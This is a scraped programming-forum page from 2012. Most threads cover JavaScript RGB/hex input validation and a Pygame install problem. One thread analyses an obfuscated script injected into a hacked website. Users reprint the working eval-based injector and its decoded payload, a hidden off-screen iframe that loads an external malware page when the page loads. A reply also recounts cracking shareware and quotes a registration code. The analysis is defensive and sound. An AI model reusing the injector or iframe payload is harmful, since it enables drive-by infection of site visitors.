JavaScript

Re: Evalulating and passing RGB values from keydown

2-Aug-12 8:12

I'm working on a color picker, to alter the canvas color of images uploaded.

So I have a manual RGB input, 3 textboxes

I wrote a program to evaulate the keydown, and can capture BS, DEL 0-9, but I also need to check that the whole number is 0-255.

I'd like to do it in one shot, but I'm not sure if it's possible, and where to implement it.

Just looking for suggestions.

$('[id*="_txt_Red"]').keydown(function (e) {
  return evaulateKeyDown_RGB(e);
});

function evaulateKeyDown_RGB(e) {

    // Delete = 46 | BS = 8 | 0 = 48 | 9 = 57 | < = 37 | > = 39
    // Delete = 46 | BS = 8 | 0 = 96 | 9 = 105 | < = 37 | > = 39 
    var charCode = e.keyCode || e.which;
    //alert(charCode);
    
    // Normal Keyboard
    if (charCode == 8 || charCode == 37 || charCode == 39 || charCode == 46 || ( charCode >= 48 && charCode <= 57 )) {
        return true;
    }
    // Numeric Keypad    
    else if (charCode >= 96 && charCode <= 105) {
        return true;
    }
    else {
        return false;
    }
}

enhzflep2-Aug-12 9:58

Re: Evalulating and passing RGB values from keydown

2-Aug-12 9:58

Rather than evaluate the keystrokes themselves, I'd probably be tempted to try to just evaluate the text in an input control. You could create a validation function that was called in response to key-up/mouse-up/onchange events (not sure if mouse-up will catch pasting with the mouse)

Let's say you've got a string that represents the number 255.

JavaScript

var myStr = '255';
var myInt = parseInt(myStr);

if ((myInt != NaN) && (myInt < 256))
{
  doSomething();
}

else
  alert("Error\nYou must enter a number between 0 and 255");

If I've misunderstood your needs, sorry!
(still jealous you were at Xerox at such a pivotal time in PC history)

jkirkerx2-Aug-12 11:54

Re: Evalulating and passing RGB values from keydown

2-Aug-12 11:54

You right on, and I have stuff for onChange binded to a function.

So I'm using 2 events then, to separate them.

(I was too young to translate it into wealth, and on the wrong end of CA.)

BobJanova5-Aug-12 23:31

BobJanova

5-Aug-12 23:31

If you're going to do live validation, make sure it's not annoying ... i.e. make sure you can delete everything and start typing, that you can paste into it, and that normal patterns of modification still work. For example to change 192 to 196, people might go to the end and press 'backspace, 6' (which would be fine), or they might go in front of the 2 and type '6, delete' which would produce an intermediate of 1962.

Generally you should only adjust the display to indicate a valid or invalid value, instead of actually rejecting keystrokes, if that character can ever be part of a valid input.

Re: Evalulating and passing RGB values from keydown

jkirkerx6-Aug-12 7:22

Re: Evalulating and passing RGB values from keydown

6-Aug-12 7:22

I found that out on testing, what a mess. So far so good, but I need to go back and fix control v and control c, for pasting in values.

So I did filter the keystokes, and then ran the validation on the update image button, when you work with rgb, I update the hex, update the hex, I update the rgb, and the sample color swatch.

Ended up with this so far, without the copy and paste functionality. I need to go back and add that. Still testing the full functionality, and taking note of any errors.

My validate_HEX is not working right, I need to check the regex, or my use of .test is not correct.

Tell me what you think. I'm getting better at writing javascript.

Oh, Thanks for your comment, I pretty much got crickets on this one.

function evaulateKeyDown_RGB(e, targetObj) {

    // Delete = 46 | BS = 8 | 0 = 48 | 9 = 57 | < = 37 | > = 39
    // Delete = 46 | BS = 8 | 0 = 96 | 9 = 105 | < = 37 | > = 39
    var charArray = [8, 9, 17, 18, 37, 39, 46, 48, 49, 50, 51, 52, 53, 54,
    55, 56, 57, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105];
    
    var charCode = parseInt(e.keyCode || e.which);        
    for (var i = 0; i < charArray.length; i++) {
        if ((charCode != NaN) && (charArray[i] == charCode)) {
           return true
        }
    }
    return false;   
}

function evaulateKeyDown_HEX(e, targetObj) {
    
    // Delete = 46 | BS = 8 | 0 = 48 | 9 = 57 | < = 37 | > = 39
    // Delete = 46 | BS = 8 | 0 = 96 | 9 = 105 | < = 37 | > = 39
    var charArray = [8, 9, 17, 18, 37, 39, 46, 65, 66,
    67, 68, 69, 70, 97, 98, 99, 100, 101, 102,
    48, 49, 50, 51, 52, 53, 54, 55, 56, 57,
    96, 97, 98, 99, 100, 101, 102, 103, 104, 105];
   
    var charCode = parseInt(e.keyCode || e.which);
    for (var i = 0; i < charArray.length; i++) {
        if ((charCode != NaN) && (charArray[i] == charCode)) {
            return true
        }
    }
    return false;    
}

function validate_RGB(targetObj) {

    // Check if the whole value is 0-255
    var charFlag = false;
    var value = parseInt(targetObj.val());
    if ((value != NaN) && (value <= 255)) {
        targetObj.css("border", "solid 1px rgb(140,140,140)"); 
        return true;
    }
    else {
        targetObj.focus().select();
        targetObj.css("border", "solid 1px rgb(255,0,0)");
        return false;      
    }
}

function validate_HEX(targetObj) {

    var hValue = targetObj.val();
    var regColorcode = /^(#)?([0-9a-fA-F]{3})([0-9a-fA-F]{3})?$/;
    if (regColorcode.test("#"+hValue) == false) {
        targetObj.focus().select();
        targetObj.css("border", "solid 1px rgb(255,0,0)");
        return false;
    }
    else {
        targetObj.css("border", "solid 1px rgb(140,140,140)"); 
        return true;
    }
}

BobJanova7-Aug-12 0:11

BobJanova

7-Aug-12 0:11

The regex looks okay. What's .val()? Text boxes have a .value in normal DOM object speak.

Installing Pygame

johtnkucz30-Jul-12 4:36

johtnkucz

30-Jul-12 4:36

Hey mates, have been trying to install pygame and can't get it to install. It and it's corresponding 3.2 python installs appropriately but 'import pygame' doesn't recognize the module. Have tinkered with 32 and 64-bit versions.

>>>>
Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
import pygame
ImportError: No module named pygame
>>>>>>

Is the error message. Have tried to install this on linux and windows 7...getting very vexed at seeing that error message. I NEED to install pygame. Any assistance with this would help. Thanks.

modified 30-Jul-12 10:45am.

johtnkucz30-Jul-12 4:45

johtnkucz

30-Jul-12 4:45

actually I might be able to accomplishe some gui things with tkinter but want to install pygame.

Richard MacCutchan30-Jul-12 6:14

Richard MacCutchan

30-Jul-12 6:14

Is this anything to do with Javascript?

One of these days I'm going to think of a really clever signature.

Sandeep Mewara31-Jul-12 8:56

Sandeep Mewara

31-Jul-12 8:56

Richard MacCutchan wrote:
Is this anything to do with Javascript?

Yep! Looks like Pygame is made on top of GameJs (a JavaScript game engine)
Some detail here: http://gamejs.org/[^]

Though, what OP has asked does not connect to a JavaScript question from any angle. D'Oh! | :doh:

Sandeep Mewara
[My last article]: Server side Delimiters in ASP.NET[^]

Analysing an obfuscated malware script

Richard MacCutchan31-Jul-12 22:32

Richard MacCutchan

31-Jul-12 22:32

johtnkucz wrote:
No module named pygame

That looks like a clear message.

One of these days I'm going to think of a really clever signature.

Bernhard Hiller29-Jul-12 21:48

Bernhard Hiller

29-Jul-12 21:48

A hacker added a JavaScript to many html pages of my site. Just after the body-tag he added:

HTML

<!--c3284d--><script>try{1-prototype;}catch(asd){x=2;}
if(x){fr="fromChar";f=[4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92, 59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29, 48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,90,10 0,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103,48,36,38,98 ,106,101,90,91,36,89,103,92,87,105,96,101,99,37,90,90,38,99,86,96,100,35,103,94, 101,25,49,2,1,95,91,105,99,35,96,90,21,52,22,28,93,104,98,64,90,28,50,3,-1,91,101,88,108,99,90,101,106,35,89,101,89,112,36,86,103,102,90,101,90,56,95,95, 97,91,30,94,93,104,98,32,49,2,1,115,48,4,0,108,96,100,89,102,109,35,102,100,97,1 02,87,89,23,51,21,93,104,98,56,90,89,50,3,-1];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;for(i=0;288-5+5-i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));}
if(x&&f&&012===10)e(s);</script><!--/c3284d-->

It somehow directs the browser to a site where the hacker deposited some malware for automatic download.
But I do not understand the details.
try{1-prototype;}catch(asd){x=2;} somehow sets x to 2 - but how does that happen?
v="eva";}if(v)e=window[v+"l"]; somehow creates an eval statement.
f (and then also w) contain an encrypted statement.
In the for loop, the statement gets decrypted by s=s+fromCharCode((w[j]*1+(9+eval("j%3"))));
and finally executed by e(s);.
Since I hardly ever write JavaScript, I fail to understand the details.
I hope that you have fun with analysing that script, and that you can share some hints on its function.

Richard MacCutchan29-Jul-12 22:00

Richard MacCutchan

29-Jul-12 22:00

The original javascript is the long array of bytes, written as numbers so it is not easy to read it. The part of the code that gets executed just converts the array back to its original script text and executes it. You need to take actions protect your website from this sort of malware injection.

One of these days I'm going to think of a really clever signature.

enhzflep30-Jul-12 1:43

30-Jul-12 1:43

With the first bit, the try statement - it's code designed to fail, so the catch blocks steps in and sets x = 2.

After I pasted the code, there appeared to be two commas missing from between elements in the array - either that or 2 numbers were broken in half. So I'm still not sure that I've guessed correctly.

After some mind-numbing tracing, I got to a situation where the s in the e(s) statement is equal to:

JavaScript

"
function frmAdd() {

var ifrm = document.createElement('iframe');

ifrm.style.position='absolute';

ifrm.style.top='-999em';

ifrm.style.left='-999e
(9ggsk/tpd!>! iurq;-0msoed.dpfbrjpl/ec0n_jo,qin#<jdsn,je>!%gskJe%<epavncou,cpbz/_qqcoeAijje)ggsk*<~9ujobpx,poj
`c"<hqlCcc="

Which looks like junk to me, so I'll try again to paste the array correctly.

Wouldn't you just love to throttle the sod that did this.. Mad | :mad:

EDIT: Had another try - I had inserted extra commas the first time round - this was clearly wrong. This time I removed the spaces, wrapped it into a funtion and removed the final eval, outputting instead to the console. Here's the re-written code and the final payload. Enjoy!

JavaScript

function injectedCrap()
{
try{1-prototype;}catch(asd){x=2;}
if(x)
{	
	fr="fromChar";
	f=[ 4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,
		29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,
		90,100,90,107,98,92,100,105,37,89,103,92,87,105,92, 59,
		97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,
		3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,
		94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,
		50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,
		102,50,30,35,46,48,47,90,100,29, 48,4,0,94,93,104,98,
		37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,
		90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,
		23,95,106,105,103,48,36,38,98 ,106,101,90,91,36,89,103,
		92,87,105,96,101,99,37,90,90,38,99,86,96,100,35,103,94,
		101,25,49,2,1,95,91,105,99,35,96,90,21,52,22,28,93,104,
		98,64,90,28,50,3,-1,91,101,88,108,99,90,101,106,35,89,
		101,89,112,36,86,103,102,90,101,90,56,95,95,97,91,30,94,
		93,104,98,32,49,2,1,115,48,4,0,108,96,100,89,102,109,35,
		102,100,97,102,87,89,23,51,21,93,104,98,56,90,89,50,3,-1 ];
	v="eva";
}
if(v)
	e=window[v+"l"];
w=f;
s=[];
r=String;
z=((e)?"Code":"");
zx=fr+z;
for(i=0;288-5+5-i>0;i+=1)
{
	j=i;
	if(e)
		s=s+r[zx]((w[j]*1+(9+e("j%3"))));
}

//if(x&&f&&012===10)e(s);
console.log(s);
}

Which, when all is done and dusted evaluates to this nasty piece of work:

JavaScript

function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src  = "http://lundf-creation.de/main.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;

Dirty elephanters!

modified 30-Jul-12 7:59am.

Bernhard Hiller30-Jul-12 4:48

Bernhard Hiller

30-Jul-12 4:48

Great! Thanks a lot.

enhzflep30-Jul-12 23:41

30-Jul-12 23:41

Pleasure.

Thanks for something interesting to chew on.. Thumbs Up | :thumbsup:

Re: Analysing an obfuscated malware script [edit]

Bernhard Hiller31-Jul-12 2:26

Bernhard Hiller

31-Jul-12 2:26

In case that the hacker comes back (I hope that won't happen...), I'll post his new creation here.
Now I understand how drive-by infections work: open a "harmless" page with the injected script, an iframe is opened outside the visible area, and from there some malware gets installed. Really nice. Fortunately my computer was found clean after a 30 hours scan with 4 virus scanners.

Lutosław1-Jun-13 4:10

Lutosław

1-Jun-13 4:10

Bernhard Hiller wrote:
from there some malware gets installed

Doesn't the browser ask before downloading/launching ANY file or extension? I always believed that I'm pretty safe from malware unless I click "downlad and run". Users get infected due to their gullibility ("scan your computer for problems and give us your credit card number by the way. And a phone number, just in case.") and lack of experience.
Right?

[edit] like this: Yu0Tube - Kareena Kapoor slapped a senior news reporter in a meeting [^] (quite smart, spotted in a commantary on "real" YouTube, but blocking all links is a bit unrealistic)

Greetings - Jacek

jkirkerx30-Jul-12 11:19

30-Jul-12 11:19

nice job!

That's pretty crafty there, on the original Javascript, an iFrame off the browser window, hidden from view.

Your code is crafty too.

enhzflep30-Jul-12 23:40

30-Jul-12 23:40

Thanks Jim. Smile | :)

I've a 20 year history of reversing code - I taught myself to program in x86 ASM during high-school by dissasembling whatever programs I had to hand.

It's just a matter of experience/exposure, I guess.

jkirkerx31-Jul-12 8:12

31-Jul-12 8:12

So you must be around 48,

I took computer class in summer school of 1974 with wood shop. We had a Western Electric teletype machine, that stored our programs on yellow paper tape with rubber bands.

So we wrote programs in basic on paper, and typed them in, and ran them on a Sigma 7 Mainframe at UC Irvine.

In high school, I dropped computer class and took surf class instead, counted as a PE credit, should of stuck with it. Oh well.

Didn't pick up computers again till 1986, bought a IBM XT, but didn't know what to do with it, so I wrote programs in basic, and ran them off floppy disks. Bought a hard drive 2 years later.

I can reverse engineer a lot of things, but not code down to that level.

enhzflep31-Jul-12 9:57

31-Jul-12 9:57

Nah, I'm just a young'n - 35, Wed next week, in fact.

Neato! Dad used to bring home punch cards for us to draw on as kids, back I suppose in about 1982 or so. We had a ball trying to imagine what all the 'dots' were that we were trying to join-up.

I think I was first exposed to Basic in about 1985 or so - A girl down the road had a ?? and I can remember vividly entering a program that would calculate your age in the year 2000 - a time that seemed a million years away. Damn - nearly as far past it now as we were before it, back then!

Isn't it funny where life takes us? I picked up programming when we were forced to occupy the computer-room at school when on detention.. I quickly swiped turbo Pascal 6 and Turbo C++ 3.1 from the network. But when a fellow nerd gave me a copies of his dad's TASM, MASM and Sourcer commenting dissasembler I was like a you-know-what in a you-know where! Still don't know what would have happened if I'd behaved that way I was supposed to back then..

Oh how I do envy you - we got our first piece of computerized anything in about 1990 when M&D spent about $4000 on a 386-33 complete with a whopping 40Mb HDD and 4, thats right count 'em, 4 MB of RAM.. That was an enormous purchase for m&d back then.

I was a bright but lonely kid, so was probably really lucky to have been exposed to computers at that time of my life - I still remember the stunning, overwhelming joy I felt as a 16 year old when I reverse-engineered the registration-code for UniVBE (video bios extender software) and turned shareware software into a registered version. $Shucks | :-\$

Heck, I still remember the reg code for Sourcer - B309868-ytht 20 years after I got it..

Now, if only I could reverse engineer people and social situations. :laughs:

Simon.

jkirkerx31-Jul-12 11:36

31-Jul-12 11:36

I started working for Xerox in 1983, and the office was filled with Xerox Word Processors, a text based system that printed to Diablo Printers. In 1985, we moved to Costa Mesa, and a new secret room was built and filled with Xerox 6065 Documenters, a tall brown tower hooked to 19" monitors, optical mouse, running Xerox Windows attached to a Xerox 2700 Laser Printer via serial cable. I was amazed at it, and started spending time learning how to use them. But all you could do was type a document, save it, and print it, and send and receive email via the internet. Yes we had internet back then.

They couldn't sell a single one starting at $40K each. At the same time, UC Irvine was one of my customers, and I started seeing all these IBM PC's popping up everywhere running WordStar, with Diablo Daisywheel printers.

So I thought to myself, I better buy one of those, they look like the future. Spent a whopping $2200 on it, with 128K of ram. My dad was a merchant marine, and thought it was a complete waste of money. Little did I know that those little beige boxes with green monitors would take off.

That's the story.

I'm sure everyone has a great story, should of took this to the lounge.